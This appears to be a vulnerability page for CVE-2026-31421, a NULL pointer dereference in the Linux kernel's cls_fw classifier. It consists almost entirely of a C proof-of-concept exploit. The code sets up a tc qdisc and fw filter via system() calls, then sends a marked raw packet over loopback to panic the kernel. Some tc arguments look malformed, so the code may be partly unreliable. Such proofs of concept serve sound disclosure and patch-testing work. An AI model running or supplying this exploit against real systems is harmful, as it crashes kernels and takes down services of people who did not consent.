CVE-2026-31421 Linux内核cls_fw空指针解引用漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <linux/if_ether.h> /* * PoC for CVE-2026-31421 * Trigger: NULL pointer dereference in fw_classify * Context: Requires CAP_NET_ADMIN to setup tc, but trigger is via packet flow. */ void setup_tc_poc() { // Commands to reproduce the vulnerable state: // 1. Create a qdisc with clsact system("tc qdisc add dev lo root handle 1: clsact"); // 2. Attach cls_fw filter using the 'old method' (no TCA_OPTIONS) to a shared block context // This specific configuration triggers the bug when block->q is NULL. system("tc filter add dev lo protocol ip parent 1:0 prio 1 handle ::1 fw"); } void trigger_packet() { int sock; struct sockaddr_in addr; char packet[64]; int mark = 1; // Non-zero mark is required to hit the old-method path sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("socket"); return; } // Set the socket mark to trigger the specific classify path if (setsockopt(sock, SOL_SOCKET, SO_MARK, &mark, sizeof(mark)) < 0) { perror("setsockopt"); close(sock); return; } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(80); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); memset(packet, 0x41, sizeof(packet)); // Send packet to trigger classification and crash sendto(sock, packet, sizeof(packet), 0, (struct sockaddr*)&addr, sizeof(addr)); printf("Packet sent. If vulnerable, kernel panic should occur.\n"); close(sock); } int main() { printf("Setting up tc configuration (requires root/CAP_NET_ADMIN)...\n"); setup_tc_poc(); printf("Triggering packet...\n"); trigger_packet(); return 0; }